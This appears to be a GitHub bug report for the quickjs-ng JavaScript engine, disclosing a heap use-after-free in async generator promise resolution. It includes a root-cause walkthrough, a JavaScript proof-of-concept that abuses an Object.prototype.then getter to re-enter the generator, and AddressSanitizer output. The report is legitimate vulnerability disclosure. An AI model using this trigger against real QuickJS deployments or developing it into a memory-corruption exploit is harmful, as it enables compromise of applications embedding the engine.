Skip to content

incorrect callback handling in promise resolution can lead to exploitable use-after-free #1355

@KpwnZ

Description

@KpwnZ

Description

  1. js_async_generator_resolve_or_reject() dequeues request nodes and resolves request promises while queue/state are transient.
  2. Promise resolution does Get(resolution, "then") in js_promise_resolve_function_call(), allowing attacker-controlled Object.prototype.then getter reentrancy.
  3. Reentrant next/return/throw on the same AsyncGenerator can drive paths that call js_async_generator_complete(), which frees s->func_state storage via async_func_free().
  4. A later await reaction callback reaches js_async_generator_resolve_function() with magic < 2. In release builds (asserts removed), there is s->func_state.frame.cur_sp[-1] = js_dup(arg); against freed frame memory.

Reproduce

function deferred() {
  let resolve;
  const promise = new Promise(f => {
    resolve = f;
  });
  return { promise, resolve };
}

let it, a, b, c;
let getterHit = 0;
let inGetter = false;

Object.defineProperty(Object.prototype, "then", {
  configurable: true,
  get() {
    if (inGetter || !it) return undefined;
    inGetter = true;
    try {
      if (getterHit === 0) {
        it.return(0);
      } else if (getterHit === 1) {
        it.next(1);
        it.return(1);
      }
      getterHit++;
    } catch (_) {
    }
    inGetter = false;
    return undefined;
  },
});

async function* g() {
  try {
    await a.promise;
    yield 1;
    await b.promise;
    yield 2;
    await c.promise;
  } finally {
    await c.promise;
  }
}

(async () => {
  a = deferred();
  b = deferred();
  c = deferred();
  it = g();

  it.next();
  a.resolve({});
  await Promise.resolve();
  await Promise.resolve();
  b.resolve({});
  c.resolve({});
  await Promise.resolve();
})();

Please test with release build (or remove assert) with ASAN enabled of quickjs-ng.

ASAN output

=================================================================
==3573130==ERROR: AddressSanitizer: heap-use-after-free on address 0x7b7f371e9fd0 at pc 0x559cfa75af81 bp 0x7ffebbfefa30 sp 0x7ffebbfefa20
WRITE of size 8 at 0x7b7f371e9fd0 thread T0
    #0 0x559cfa75af80 in js_async_generator_resolve_function (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d6f80) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #1 0x559cfa67e5db in js_call_c_function_data (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xfa5db) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #2 0x559cfa5ff864 in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7b864) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #3 0x559cfa645529 in promise_reaction_job (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xc1529) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #4 0x559cfa6442f9 in JS_ExecutePendingJob (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xc02f9) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #5 0x559cfa5d3222 in js_std_loop (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x4f222) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #6 0x559cfa5b71ec in main (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x331ec) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #7 0x7f3f38338634  (/usr/lib/libc.so.6+0x27634) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
    #8 0x7f3f383386e8 in __libc_start_main (/usr/lib/libc.so.6+0x276e8) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
    #9 0x559cfa5b7d04 in _start (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x33d04) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)

0x7b7f371e9fd0 is located 0 bytes inside of 48-byte region [0x7b7f371e9fd0,0x7b7f371ea000)
freed by thread T0 here:
    #0 0x7f3f3871f79d in free /usr/src/debug/gcc/gcc/libsanitizer/asan/asan_malloc_linux.cpp:51
    #1 0x559cfa634a64 in async_func_free (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xb0a64) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #2 0x559cfa75a4d7 in js_async_generator_resume_next (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d64d7) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #3 0x559cfa75ae48 in js_async_generator_resolve_function (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d6e48) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #4 0x559cfa67e5db in js_call_c_function_data (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xfa5db) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #5 0x559cfa5ff864 in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7b864) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #6 0x559cfa645529 in promise_reaction_job (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xc1529) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #7 0x559cfa6442f9 in JS_ExecutePendingJob (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xc02f9) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #8 0x559cfa5d3222 in js_std_loop (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x4f222) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #9 0x559cfa5b71ec in main (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x331ec) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #10 0x7f3f38338634  (/usr/lib/libc.so.6+0x27634) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
    #11 0x7f3f383386e8 in __libc_start_main (/usr/lib/libc.so.6+0x276e8) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
    #12 0x559cfa5b7d04 in _start (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x33d04) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)

previously allocated by thread T0 here:
    #0 0x7f3f38720cb5 in malloc /usr/src/debug/gcc/gcc/libsanitizer/asan/asan_malloc_linux.cpp:67
    #1 0x559cfa6258e3 in js_malloc (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xa18e3) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #2 0x559cfa625c9b in async_func_init (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xa1c9b) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #3 0x559cfa6e3446 in js_async_generator_function_call (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x15f446) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #4 0x559cfa5ff864 in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7b864) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #5 0x559cfa5fd65f in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7965f) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #6 0x559cfa757950 in js_async_function_resume (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d3950) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #7 0x559cfa75ba18 in js_async_function_call (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d7a18) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #8 0x559cfa5ff864 in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7b864) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #9 0x559cfa5fd65f in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7965f) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #10 0x559cfa757950 in js_async_function_resume (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d3950) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #11 0x559cfa75ba18 in js_async_function_call (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d7a18) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #12 0x559cfa75bd13 in js_execute_sync_module (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d7d13) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #13 0x559cfa75def1 in js_inner_module_evaluation (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d9ef1) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #14 0x559cfa76213d in JS_EvalFunction (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1de13d) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #15 0x559cfa5b8bef in eval_buf (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x34bef) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #16 0x559cfa5b75b0 in main (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x335b0) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
    #17 0x7f3f38338634  (/usr/lib/libc.so.6+0x27634) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
    #18 0x7f3f383386e8 in __libc_start_main (/usr/lib/libc.so.6+0x276e8) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
    #19 0x559cfa5b7d04 in _start (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x33d04) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)

SUMMARY: AddressSanitizer: heap-use-after-free (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d6f80) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4) in js_async_generator_resolve_function
Shadow bytes around the buggy address:
  0x7b7f371e9d00: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
  0x7b7f371e9d80: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fd
  0x7b7f371e9e00: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
  0x7b7f371e9e80: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
  0x7b7f371e9f00: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
=>0x7b7f371e9f80: fa fa fd fd fd fd fd fd fa fa[fd]fd fd fd fd fd
  0x7b7f371ea000: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
  0x7b7f371ea080: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
  0x7b7f371ea100: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
  0x7b7f371ea180: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
  0x7b7f371ea200: fa fa fd fd fd fd fd fd fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3573130==ABORTING

Credit

Yuan (@Reset816) and xia0o0o0o (@KpwnZ).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions